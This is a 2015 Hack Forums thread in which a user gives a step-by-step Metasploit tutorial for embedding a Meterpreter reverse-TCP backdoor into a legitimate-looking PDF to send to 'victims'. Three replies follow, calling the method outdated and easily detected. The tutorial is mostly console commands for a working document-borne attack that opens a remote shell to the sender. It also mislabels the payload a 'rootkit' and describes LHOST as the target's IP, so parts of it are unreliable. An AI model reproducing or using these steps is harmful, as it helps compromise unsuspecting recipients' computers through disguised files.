

Forum:[Hack Forums](#)

Thread: [\[TUTORIAL\] How To Bind A .pdf File With A Backdoor](#)

ThisIsRetardedLOL - February 14, 2015, 7:22 pm

We will be adding a rootkit into an PDF file which we can send to victims and run them

What You Need

- ~ Kali Linux
- ~ Brains
- ~ Knowledge Of Metasploit

1) Run Metasploit By Opening Terminal and Typing msfconsole

2) We will search metasploit's database for the exploit for .pdf on windows, using this code:

Code:

```
msf > " search type:exploit platform:windows adobe pdf "
```

3) You Should See Something Like This

```
" msf > use exploit/windows/fileformat/adobe_pdf_embedded_exe "
```

```
Copy " use exploit/windows/fileformat/adobe_pdf_embedded_exe "
```

Then Click Enter

4) Setting The Payload

Meterpreter Is Probably The Best and Most Known Payload To Use

Now Type This

```
Code : msf > exploit (adobe_pdf_embedded_exe) > set payload windows/meterpreter/reverse_tcp
```

5) Setting The Options For The Exploit

Now What You Need To Do Is View The Options By Typing "show options" and Clicking Enter

You Can See That We Must Provide An Existing PDF file To The INFILENAME Option In Which To Embed The Meterpreter Payload Call It Whatever You Want Such As tutorial.pdf Which Seems Kind Of Legit.

```
Code : msf > exploit (adobe_pdf_embedded_exe) > set INFILENAME tutorial.pdf
```

Now You Need To Put The Output Name

```
Code : msf > exploit (adobe_pdf_embedded_exe) > set FILENAME tutorial.pdf
```

Now We Need The Opponent's IP Address

Im Going To Just Use 192.168.4.4 For An Example

```
Code : msf > exploit (adobe_pdf_embedded_exe) > set LHOST 192.168.4.4
```

6) Running The Exploit

Now We Have Everything Ready All We Need To Do Is Run The Exploit

```
Code : msf > exploit (adobe_pdf_embedded_exe) > exploit
```

Now Your Meterpreter Listener Is Working And Metasploit Has Created The tutorial.pdf

Thanks for reading, Comment If This Was Usefull.

curtis5000 - February 16, 2015, 8:11 am

Guy..these msf payloads was found in a pharaoh's tomb...old as fuck

Trebax. - *February 16, 2015, 8:53 am*

Nice method but still, like curtis5000 said, these are old as literal fuck

ThéPoisoner - *February 16, 2015, 10:51 am*

This was picked up by anti-virus and EVEN Internet Explorer at the time. Indeed what curtis5000 said.

It is still a fun way to learn how something like this works, you can learn a lot by just testing and understanding the code etc from old exploits.